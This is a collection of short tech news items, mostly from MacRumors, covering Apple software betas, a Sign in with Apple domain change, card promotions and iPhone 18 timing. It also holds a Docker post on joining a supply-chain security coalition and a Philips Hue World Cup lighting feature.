‌Siri‌ AI works in English (Australia, Canada, Ireland, India, New Zealand, South Africa, UK, U.S.), and will expand to more languages in the future.Related Roundups: iOS 27, iPadOS 27Tag: Siri
This article, "Siri AI in iOS 27: Features, Requirements, and How It Works" first appeared on MacRumors.com

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Apple to Unify Sign in With Apple and Hide My Email on One Domain

Apple is planning to unify the email domains used by Sign in with Apple and iCloud+ Hide My Email under a single private.icloud.com domain.


Addresses generated for both features will be issued on the new domain, Apple says.

Sign in with Apple addresses currently use the privaterelay.appleid.com domain, while ‌iCloud‌+ uses icloud.com. Later this summer, both will use the same private.icloud.com domain.

Email addresses that use the legacy domains will continue to work and mail will be forwarded with no interruption.

Developers with apps or websites that use Sign in with Apple will need to make sure their account systems, email validation logic, and allowlists accept addresses on the private.icloud.com domain in addition to the existing domains. Email service providers may also need to update domain-based filtering, suppression lists, or routing rules to include the private.icloud.com domain.

Regular users won't need to do anything, and both features will continue to work as expected.Tag: Sign in With Apple
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Apple Card Promo Doubles Daily Cash Back on Nike Purchases

Apple is teaming up with Nike for an Apple Card promotion that gives extra Daily Cash back.


For the next month, ‌Apple Card‌ users can get 6% Daily Cash back when making a purchase with ‌Apple Card‌ using Apple Pay at a Nike retail store, the Nike website or Swoosh website, or Nike's apps.

The ‌Apple Card‌ normally offers 3% cash back on Nike purchases, so the bonus is doubled during the promotion period (June 15 to July 15).

‌Apple Card‌ holders can get the 6% Daily Cash back on up to $500 in purchases, for a total of $30 back. The deal is available to ‌Apple Card‌ owners, co-owners, and participants, so multiple family members can take advantage of the bonus offer.

Most ‌Apple Pay‌ purchases provide 2% Daily Cash, but Apple has partnered with companies like Nike to increase that to 3%. Extra cash back is available when using ‌Apple Pay‌ and ‌Apple Card‌ for purchases at Ace Hardware, Apple retail stores, ChargePoint, Duane Reade, Hertz, Booking.com, Uber, and Walgreens. Tags: Apple Card, Apple Pay Promo
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Chase Sapphire Preferred Card Introduces New Perk for Apple Customers

Chase this week announced new perks for its Sapphire Preferred credit card, and one of them is a complimentary one-year Apple TV streaming subscription.


To get the free year of Apple TV, which typically costs $12.99 per month in the U.S., you must activate the card by December 31, 2026.

If you are already subscribed to Apple TV directly through Apple, the complimentary subscription from Chase will automatically supersede your paid subscription until it ends, at which point the paid subscription will resume at the going price.

As noted by 9to5Mac, Apple One subscribers can receive a $7.50 discount per month instead.

If you are subscribed to Apple One directly through Apple, and activate your complimentary Apple TV access on Chase.com or the Chase Mobile app with the same Apple Account connected to your Apple One billing, you will automatically receive a $7.50 discount on your Apple One subscription for 12 months starting on your next billing period.

Chase's Sapphire Preferred card continues to have a $95 annual fee. New and existing cardholders have access to these new benefits starting today.

The other new benefits include 3× points on gas, EV charging, and Airbnb and Vrbo bookings, while the card's annual hotel statement credit has been doubled to $100. There is also a new $120 Global Entry, TSA PreCheck, or NEXUS credit every four years, along with new "emergency evacuation and transportation" coverage.

On the other hand, the 10% anniversary bonus benefit is being discontinued, and Ultimate Rewards points will transfer to World of Hyatt at a rate of 4:3.

More details are available in Chase's press release. For a limited time, new cardholders can earn 100,000 points after spending $5,000 in the first three months.

Chase's higher-end Sapphire Reserve credit card offers complimentary Apple TV and Apple Music subscriptions, but it has an annual fee of $795.Tags: Apple One, Apple TV Service, Chase
This article, "Chase Sapphire Preferred Card Introduces New Perk for Apple Customers" first appeared on MacRumors.com
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No iPhone 18 This Year, Apple Supplier Comments Seemingly Confirm

Apple's standard iPhone 18 model will launch in early 2027, based on comments from a partner in the company's supply chain that appear to corroborate rumors of a delayed spring release for the base model.


Apple typically works on an annual smartphone launch cycle where it releases the entirety of its latest flagship iPhone series in the fall, usually around mid-September. That appears set to change this year, however.

Multiple reports claim the base iPhone 18 model will be held over until spring 2027, and only the iPhone 18 Pro models will debut this year alongside Apple's first foldable iPhone.

Now, comments from a key Apple supplier appear to offer corroborating evidence that the company is preparing to break from its traditional launch schedule.

Speaking at Largan Precision's annual shareholders' meeting, chairman Lin En-ping said a major U.S. customer had postponed the launch of a new model to the first quarter of 2027, shifting component procurement later into the year and boosting expected factory utilization in the fourth quarter.

Lin did not identify the customer or product, but Largan is Apple's primary supplier of iPhone camera lenses, so the remarks are notable in light of reports that the standard iPhone 18 will not launch alongside Apple's higher-end models this time around.

The comments are particularly noteworthy because Apple suppliers rarely offer public details about clients' future product launches, even indirectly.

According to reports, Apple plans to split future iPhone launches across two release windows. Under the new strategy, premium models would continue to debut in September, while lower-cost models would follow the next spring. If accurate, the standard iPhone 18 will arrive in early 2027 alongside the iPhone 18e and iPhone Air 2, roughly six months after the iPhone 18 Pro, iPhone 18 Pro Max, and Apple's much-rumored foldable "iPhone Ultra."

The staggered approach is expected to help Apple manage manufacturing resources more efficiently as its lineup grows to six devices instead of five, while helping maintain sales momentum throughout the year. If implemented, it would be the first deliberate separation of Apple's flagship iPhone releases since the company established its annual fall launch pattern with the iPhone 4S in 2011.

The standard iPhone 18 models are not expected to feature design changes, with Apple using the same 6.3-inch display size for the iPhone 18 and the 6.1-inch size for the iPhone 18e. For everything we know so far, be sure to check out our dedicated roundup.Related Roundup: iPhone 18Related Forum: iPhone
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Second macOS Tahoe 26.6 Beta Now Available for Developers

Apple today provided the second beta of an upcoming macOS Tahoe 26.6 update to developers for testing purposes, with the update coming almost three weeks after Apple seeded the first beta.


Developers can download the ‌macOS Tahoe‌ 26.6 update by opening up the System Settings app, selecting the General category, and then choosing Software Update. Beta Updates will need to be enabled, and a free developer account is required.

With macOS Golden Gate set to launch in just a few months, Apple is likely focusing most of its attention on the new software. We are not expecting any major new features in ‌macOS Tahoe‌ 26.6.Related Roundup: macOS TahoeRelated Forum: macOS Tahoe
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Apple Seeds Second iOS 26.6 and iPadOS 26.6 Betas to Developers

Apple today seeded the second betas of upcoming iOS 26.6 and iPadOS 26.6 updates to developers for testing purposes, with the software coming three weeks after Apple seeded the first betas.


Registered developers can download the betas from the Settings app on the iPhone or iPad by going to the General section and selecting Software Update.

With iOS 27 set to launch in September, Apple is wrapping up work on iOS 26. We are not expecting any major new features in the iOS 26.6 update, and it will primarily focus on bug fixes and performance improvements.

The update adds new wording around blocked contact limits, letting users know when they have exceeded the maximum number of blocked contacts. The update might also include a new anti-snatching feature that locks your iPhone if it's grabbed from your hand.Related Roundups: iOS 26, iPadOS 26Related Forum: iOS 26
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Apple Releases Second watchOS 26.6, tvOS 26.6 and visionOS 26.6 Betas

Apple today provided developers with the second betas of upcoming watchOS 26.6, tvOS 26.6, and visionOS 26.6 betas for testing purposes. The software comes three weeks after Apple seeded the first betas.


The software updates are available through the Settings app on each device, and because these are developer betas, a free developer account is required.

There's no word on what's in the software as of yet. watchOS, tvOS, and visionOS often get few features in each new beta, with updates primarily focusing on bug fixes and performance improvements. Related Roundups: Apple TV, Apple Vision Pro, watchOS 26, watchOS 27Buyer's Guide: Apple TV (Don't Buy), Vision Pro (Neutral)Related Forums: Apple TV and Home Theater, Apple Vision Pro, Apple Watch
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iOS 26.5.2 Coming Soon Alongside the iOS 26.6 and iOS 27 Betas

Apple is internally testing iOS 26.5.2, according to the MacRumors visitor logs, which have accurately confirmed many future iOS versions over the years.


iOS 26.5.2 will almost certainly be a minor update that fixes software bugs and/or security vulnerabilities. We do not know exactly when the update will be released, but our best guess is that it will arrive this week or next week.

iOS 26.5.1 was released earlier this month with a fix for a charging issue that impacted some iPhone 17, iPhone 17 Pro, iPhone 17 Pro Max, and iPhone Air units. That update was not released for any other iPhones, so it is reasonable that Apple is apparently planning a follow-up iOS 26.5.2 update that supports the full range of compatible models.

Apple has a lot of software updates in the works, as iOS 26.5.2 will arrive alongside the iOS 26.6 beta and iOS 27 beta. The first iOS 26.6 beta did not introduce any major new features, as Apple is focused on the much bigger iOS 27 update with a more intelligent and personal version of Siri, design tweaks, and performance improvements.Related Roundups: iOS 26, iPadOS 26, iOS 27, iPadOS 27Related Forum: iOS 26
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Docker joins the Athena coalition: a cross-industry collaboration for supply chain security

The obvious takeaway from 2026’s biggest incidents is that attackers are increasingly using AI to move fast. Docker’s CISO, Mark Lechner, wrote about this shift and what every engineering team should do now.
What worries us is that the bar is about to drop further. For most of the last decade, finding a serious vulnerability in widely used open source took time and specialized skill. Frontier models now read code, reason across dependencies, and surface novel, chained vulnerabilities at machine speed, including flaws that survived years of expert review. Anthropic’s Mythos, and the more powerful models that follow it will find more vulnerabilities, faster, and by a wider margin than skilled humans could. The gap between a vulnerability being discovered and exploited has shrunk from years to hours, and a growing share are weaponized before they are ever public.
We believe the durable response in this reality is twofold: build products that are secure and transparent by default, and collaborate deeply across the ecosystem to share signals and intelligence. No single vendor sees the whole picture, and customers are best protected when supply chain technologies work together rather than in isolation.
Secure-by-default tools for devs, as AI embeds into the SDLC
As coding agents take on more of the software lifecycle, secure defaults have to cover more than what you build with. They have to cover where agents run and what they can reach. Today, Docker’s investment spans three areas covering sandboxes for local developers, secure dependencies, and governed access to vetted MCP tools. These capabilities and our upcoming products in the near future collectively help secure the developer environment as AI embeds itself into the SDLC:
Isolated, sandboxed execution for agents: Docker Sandboxes run AI coding agents in isolated microVMs, each with its own kernel, filesystem, and deny-by-default network, so a compromised dependency an agent pulls cannot reach the host, its credentials, or other workloads.
Trusted, open source foundations: Docker Hardened Images Community is free and open source under Apache 2.0. DHI are minimal, low-CVE images rebuilt from source with SLSA Build Level 3 provenance and signed SBOMs, built on Alpine and Debian. The catalog now spans over 3,500 hardened images and tens of thousands of hardened system packages, extending across container images, system packages, Helm charts, and MCP servers. DHI makes secure dependencies the easy, default choice.
Governed access to tools: Docker MCP Catalog and Gateway give agents a trusted, hardened set of MCP servers, plus centralized policy, secret blocking, and audit logging, so the connections agents make are verified rather than assumed.
Together these tools give developers a secure default from the first docker build through to the agent running in their environment. 
Working with the ecosystem on behalf of every developer
The second part of our approach is how we work with the ecosystem. For example, with the axios compromise earlier this year and the TeamPCP campaign, Docker worked with partners including Socket, the Trivy team, Checkmarx, and others to analyze the attacks and contain the blast radius (recap). The damage potential with these attacks could have been very large, however sharing signals across company lines, in real time, is what kept the blast radius relatively small. We have said it before, this is a posture we believe the ecosystem needs more of.
Docker is joining the Athena alliance
Athena is the next step in our journey of collaboration. Announced today, it is an industry coalition for the coordinated defense of open source software in the era of AI-accelerated vulnerability discovery, and Docker is a founding participant. Athena brings together organizations from across the software ecosystem to share findings and coordinate responses before vulnerabilities become public. Docker sits at a distinctive point in the supply chain, with millions of developers relying on us to build, distribute, and run software built on open source, so helping make that ecosystem more resilient is consistent with our mission. We look forward to working with the coalition on key ways in which Docker is uniquely placed to provide expertise and scale to this important cross-industry effort.
Further reading
Docker Sandboxes Docker Hardened Images Defending your software supply chain (Docker CISO Mark Lechner)
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Philips Hue and WiZ Launch Sports Live Feature for the 2026 World Cup

Signify has launched Sports Live, a new feature for Philips Hue and WiZ smart lighting products that synchronizes lighting effects with live soccer match data in real time (via Hue Blog).


The feature is rolling out now for the 2026 FIFA World Cup. Sports Live uses live match data to trigger lighting changes at key in-game moments, including goals, yellow cards, and red cards, with the aim of making at-home viewing feel more immersive.

Unlike traditional TV sync systems that rely on HDMI-based hardware to analyze on-screen content, Sports Live connects directly to live match data and responds to events as they occur, eliminating the need for additional synchronization hardware. During quieter periods, lights adapt to reflect a favorite team's colors, the leading team's colors, or a neutral white when the score is tied.

Setup is handled through either the Philips Hue or WiZ mobile app. In the Hue app, the feature is found under the Sync tab, where users select a room or zone, which must include at least one color-capable light, and optionally choose favorite teams to receive match suggestions.

Current games appear directly in the Sync tab, with a separate list available for upcoming fixtures. Sports Live automatically starts 15 minutes before kickoff once a match is selected, and a delay adjustment tool lets viewers sync lighting effects to their specific broadcast.

After setup, users can still customize the default scene, brightness, and room. Any lights paired with Hue Sync Box take priority and will not be used for Sports Live. WiZ users can access the feature through the company's Wi-Fi platform without requiring a hub.

The Philips Hue 5.69 app update that delivers Sports Live also introduces a new Bridge zone, which consolidates all devices and automations across an entire Hue Bridge into a single group on the home dashboard, with options to create scenes and hide or rearrange groups. The zone appears in the "Hidden" section by default and must be manually surfaced.

Sports Live is compatible with existing Hue and WiZ entertainment features, including Hue Sync and WiZ Sync with TV, with the 2026 FIFA World Cup now underway in Mexico, Canada, and the U.S.Tag: Philips Hue
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